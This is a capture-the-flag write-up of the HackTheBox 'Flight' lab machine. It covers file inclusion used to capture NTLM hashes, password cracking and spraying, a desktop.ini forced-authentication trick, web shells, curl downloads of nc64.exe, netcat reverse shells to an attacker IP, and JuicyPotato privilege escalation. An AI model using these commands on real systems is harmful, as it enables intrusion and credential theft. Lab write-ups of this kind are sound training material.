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# HackTheBox - Flight
## NMAP
```bash
Nmap scan report for 10.10.11.187
Host is up (0.28s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
| http-methods:
| Supported Methods: POST OPTIONS HEAD GET TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: g0 Aviation
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-12-17 00:13:14Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49690/tcp open msrpc Microsoft Windows RPC
49699/tcp open msrpc Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows
```
## PORT 139/445 (SMB)
Checking null authentication on SMB shows that we can't access any share through anonmyously
<img src="https://i.imgur.com/vtOncKe.png"/>
## PORT 80 (HTTP)
<img src="https://i.imgur.com/8ccuI6h.png"/>
The site didn't had anything there as it was just a page with no links also `gobuster` didn't showed anything interesting to as well
<img src="https://i.imgur.com/va9V6Uh.png"/>
So adding `flight.htb` in `/etc/hosts` file as we can see the domain name at the bottom of the page
<img src="https://i.imgur.com/LJ2UM2Z.png"/>
<img src="https://i.imgur.com/tUiLVcp.png"/>
Fuzzing for subdomains using `wfuzz`
```bash
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://flight.htb' -H "Host: FUZZ.flight.htb" --hh 7069
```
<img src="https://i.imgur.com/p6r2VtD.png"/>
Adding this subdomain in hosts file and accessing the site
<img src="https://i.imgur.com/MkiUFyW.png"/>
<img src="https://i.imgur.com/QUJXoxu.png"/>
Checking for Local File Inclusion it filters `..` if it's in the url but allows `/`
<img src="https://i.imgur.com/sxhcQ1Y.png"/>
<img src="https://i.imgur.com/Mfn8VrC.png"/>
## Svc_apache
Running `wfuzz` again to fuzz for LFI payloads we find that we can just specify a file name without using `..`
<img src="https://i.imgur.com/QpRyOlh.png"/>
<img src="https://i.imgur.com/r3e6K8Z.png"/>
Let's verify if we have remote file inclusion if we do we can just try accessing a fake share on our machine and use `responder` to capture NTLMv2 hash
<img src="https://i.imgur.com/Efv3OXq.png"/>
<img src="https://i.imgur.com/QNZfpDs.png"/>
We have a hit so now running responder and accessing a fake share with `//IP/share`
```bash
responder -I tun0
```
<img src="https://i.imgur.com/w2otusT.png"/>
```bash
http://school.flight.htb/index.php?view=//10.10.14.28/uwu
```
<img src="https://i.imgur.com/DFrZUfL.png"/>
Saving this hash in a file cracking it with `john`
```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```
<img src="https://i.imgur.com/3xxMhYJ.png"/>
With the valid credentials we can start enumerating the shares and usernames through `crackmapexec`
<img src="https://i.imgur.com/MlDZ7Ix.png"/>
Using `enum4linux` to query usernames and filtering usernames so that we can password spray on them
```bash
enum4linux-ng -A flight.htb -u 'svc_apache' -p 'S@Ss!K@*t13' | grep username | awk -F : {'print $2'} > users.txt
```
<img src="https://i.imgur.com/45qCJWe.png"/>
## S.moon
Using either cme or kerbrute to perform password spary we'll get `S.Moon` having the same password
```bash
kerbrute passwordspray -d flight.htb --dc 10.10.11.187 ./users.txt 'S@Ss!K@*t13'
```
<img src="https://i.imgur.com/gaotp0Q.png"/>
```bash
cme smb flight.htb -u users.txt -p 'S@Ss!K@*t13' --continue-on-success
```
<img src="https://i.imgur.com/svRtQ3C.png"/>
Checking shares with s.moon, we see that we have write access on `shared`
<img src="https://i.imgur.com/ZMVtFmX.png"/>
## C.bum
On uploading `.scf ` file extension to perform forced authentication it didn't allowed us to upload that extension, not sure why
<img src="https://i.imgur.com/kvgRGyn.png"/>
But on uploading `desktop.ini` file it worked
```bash
[.ShellClassInfo]
IconResource=\\10.10.14.28\aa
```
<img src="https://i.imgur.com/7z2Bj1F.png"/>
Cracking this hash again with john
<img src="https://i.imgur.com/BtLOQUG.png"/>
## Foothold
This user has write access on `web` share which means that we can upload php file which will be reflected on schooled.flight.htb
<img src="https://i.imgur.com/B854BMb.png"/>
Uploading a php file calling `phpinfo()`
```php
<?php phpinfo(); ?>
```
<img src="https://i.imgur.com/lSxOpDk.png"/>
<img src="https://i.imgur.com/tN4sfft.png"/>
<img src="https://i.imgur.com/fqblot6.png"/>
Having the ability to execute commands on the system we can try getting a reverse shell by uploading nc.exe and executing it
```bash
http://school.flight.htb/uwu.php?cmd=curl+10.10.14.28:2222/nc64.exe -o C:\Windows\Temp\nc64.exe
http://school.flight.htb/uwu.php?cmd=C:\Windows\Temp\nc64.exe 10.10.14.28 3333 -e powershell.exe
```
<img src="https://i.imgur.com/kvWwE3b.png"/>
Since we already have credentials of `c.bum` we can execute commands through that user using `RunasC.exe`
<img src="https://i.imgur.com/mevnft1.png"/>
```powershell
.\RunasCs.exe c.bum Tikkycoll_431012284 whoami
```
<img src="https://i.imgur.com/kOnEou7.png"/>
This user has full access on `C:\inetpub\Development`
<img src="https://i.imgur.com/H0s2gRQ.png"/>
These files are being hosted on port 8000, to access these files we need to port forward port 8000 using `chisel`
Runnnig the server on our machine
```bash
chisel server --reverse -p 8001
```
And running the client on the target machine
```powershell
.\chisel.exe client 10.10.14.28:8001 R:8000:127.0.0.1:8000
```
<img src="https://i.imgur.com/IGEHaoC.png"/>
Now transferring the aspx web shell in the development directory
```
.\RunasCs.exe c.bum Tikkycoll_431012284 'curl 10.10.14.28:2222/aspx_shell.aspx -o C:\inetpub\Development\shell.aspx'
```
Accessing the file through the browser
<img src="https://i.imgur.com/pPW6xXv.png"/>
I tried executing nc.exe to get a reverse shell but it wasn't for some reason so instead I generated a msfvenom payload
<img src="https://i.imgur.com/o9UGgzz.png"/>
Transfer it and execute it
<img src="https://i.imgur.com/5ipfRDG.png"/>
<img src="https://i.imgur.com/XSciDMW.png"/>
Checking privileges of `IIS appool`, it as `SeImpersonate` privilege enabled
<img src="https://i.imgur.com/K8jYNpK.png"/>
To abuse this, we can use `JuicyPotato-ng` to get a system shell
```
.\potatoe.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:\Windows\Temp\nc.exe 10.10.14.28 6666 -e cmd.exe"
```
<img src="https://i.imgur.com/v1l8N7U.png"/>
<img src="https://i.imgur.com/TjBCxv6.png"/>
## References
- https://book.hacktricks.xyz/pentesting-web/file-inclusion
- https://book.hacktricks.xyz/windows-hardening/ntlm/places-to-steal-ntlm-creds
- https://github.com/Greenwolf/ntlm_theft
- https://github.com/antonioCoco/RunasCs